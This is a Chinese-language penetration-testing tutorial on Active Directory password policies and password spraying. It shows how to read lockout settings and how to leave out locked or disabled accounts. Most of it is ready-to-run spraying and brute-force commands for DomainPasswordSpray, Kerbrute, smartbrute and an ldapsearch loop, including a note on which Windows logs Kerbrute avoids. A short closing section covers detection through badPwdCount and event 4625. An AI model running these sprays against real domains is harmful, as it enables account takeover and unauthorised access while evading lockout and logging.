域用户口令策略与暴破

域用户口令策略

相关口令策略:

1
2
3
4
5
Maximum password age #表示密码过期的时间,默认为42
Minimum password length #表示密码的最小长度,默认为7
Account lockout duration #表示被锁定的帐户在自动解锁前保持锁定的分钟数,默认为30
Account lockout threshold #表示导致用户帐户被锁定的失败登录尝试次数,默认为5
Reset account lockout counter after #表示失败登录尝试计数器重置为0次错误登录尝试之前,失败登录尝试后必须经过的分钟数,默认为30

域外查询

前提:获得了域内一个普通用户的口令。

  1. Kali ldapsearch

    ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" | grep replUpToDateVector -A 13

    参数说明: -x 进行简单认证 -H 服务器地址 -D 用来绑定服务器的DN -w 绑定DN的密码 -b 指定要查询的根节点

    换算成以秒为单位要除以10000000。如:maxPwdAge: -36288000000000,36288000000000/10000000=3628800s,3628800/86400=42d,maxPwdAge=42d

  2. Windows powershell的Active Directory模块

    不用安装powershell模块Active Directory模块,可以直接导入Microsoft.ActiveDirectory.Management.dll

    1
    2
    3
    4
    5
    $uname="testa"
    $pwd=ConvertTo-SecureString "DomainUser123!" -AsPlainText –Force
    $cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
    import-module ./Microsoft.ActiveDirectory.Management.dll
    Get-ADDefaultDomainPasswordPolicy -Server 192.168.1.1 -Credential $cred -Verbose

  3. 通过域共享文件获取

    通用位置为:\\<DOMAIN Controller IP>\SYSVOL\<DOMAIN>\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf

域内查询

  1. Active Directory模块

    1
    2
    import-module ./Microsoft.ActiveDirectory.Management.dll
    Get-ADDefaultDomainPasswordPolicy
  2. net accounts /domain

Password Spraying

域用户暴破原理

在TGT请求中,不同情况下KDC返回的参数。

  1. 用户名不存在的返回包

  2. 用户名存在,密码错误的返回包

  3. 用户名密码都正确的返回包

域用户多次口令输入错误会导致用户帐户被锁定,默认设置的错误次数为5。被锁定后默认需要等待30分钟才能恢复使用,锁定后即使输入正确的口令,也会提示口令错误。且最后一次口令输入错误的时间会被记录,无法通过修改LDAP数据进行清除。而密码喷洒是用固定的密码去跑域用户名,可以有效防止账户被锁。

  1. 识别被禁用的用户,userAccountControl属性标识用户是否被禁用。值为2:表示未被禁用,值为2+:表示禁用。

    查询指定用户的useraccountcontrol属性

    Get-NetUser jerry| select useraccountcontrol | ConvertFrom-UACValue -ShowAll

  2. 识别被锁定的用户

    通过读取用户的badPwdCount属性和lockoutTime属性进行判断。用户testa处于被锁定的状态。

    Get-NetUser | select name,badPwdCount,lockoutTime

域内暴破

  1. DomainPasswordSpray

    PowerShell编写,用于对域用户执行密码喷洒攻击。默认情况下,它将利用,然后扣掉被锁定的用户,再用固定密码进行密码喷洒。

    1
    2
    3
    4
    5
    6
    #获得所有用户的列表,排除被禁用和被锁定的用户(可能不准确)
    Get-DomainUserList -RemoveDisabled -RemovePotentialLockouts| Out-File -Encoding ascii userlist.txt
    #利用LDAP自动从域中导出用户列表(去除禁用和锁定用户),再进行密码喷洒暴破
    Invoke-DomainPasswordSpray -Password Spring2017
    #指定UserList进行密码喷洒暴破
    Invoke-DomainPasswordSpray -UserList .\\users.txt -Password DomainUser123! -Verbose
  2. Kerbrute (可域外暴破)

    Go编写,暴破不会产生日志4625登陆失败 ,但是会产生日志4768 (TGT请求) 和4771(Kerberos预认证失败)

    1
    2
    3
    4
    5
    6
    #通过Kerberos枚举用户名
    kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 172.16.0.105 usernames.txt
    #密码喷洒
    kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
    #传统密码暴破(会被锁账户)
    kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst test1
  3. smartbrute(可域外暴破)

    Python编写,支持NT哈希爆破(-bh、-bH)

    smart模式: 确保在暴力破解时不锁定任何帐户,它会自动获取启用的用户,每个用户的错误密码计数,获取锁定策略。(需要提供一个普通域用户凭据,支持密码、Hash、cache票据、aes-key)

    Brute模式: 不需要提供域用户凭据,该模式会导致账户锁定。找到有效帐户后会停止暴破。

    1
    2
    3
    4
    #smart模式
    python3 smartbrute.py smart -bP passwords.txt kerberos -d 0day.org -u jack -p 'Admin12345' kerberos
    #Brute模式
    python3 smartbrute.py brute -bu 'jack' -bP passwords.txt kerberos -d 0day.org

    Tips:如果报错:Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great),那是因为本地时间和dc时间不同步。

  4. nmap的krb5-enum-users可以枚举域用户名。

域外暴破

  1. kali 通过ldapsearch爆破

    1
    for i in $(cat user.txt); do echo -e "\n$i";ldapsearch -x -H ldap://192.168.1.1:389 -D "$i" -w DomainUser123! -b "DC=test,DC=com" |grep "# numEntrie";done

    口令正确输出查询结果的个数,口令错误返回验证错误:ldap_bind: Invalid credentials (49)

  2. Windows 通过Invoke-DomainPasswordSprayOutsideTheDomain爆破

    1
    Invoke-DomainPasswordSprayOutsideTheDomain -Domain "192.168.1.1/DC=test,DC=com" -UserList .\user.txt -Password DomainUser123! -Verbose

检测方法

域用户属性中的lastbadpasswordattempt能够记录上次口令输入错误的登陆时间,可以作为识别暴力破解攻击的依据。badPwdCount属性会记录用户口令错误的次数,在用户输入正确的口令后,这个属性会被清零。

1
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))"|grep -E "cn:|badPwdCount|badPasswordTime"

日志(4625 - An account failed to log on)能够记录登录失败的事件。

参考

[^1]: 渗透基础-通过LDAP协议暴力破解域用户的口令
[^2]: 渗透基础-域内用户口令策略的获取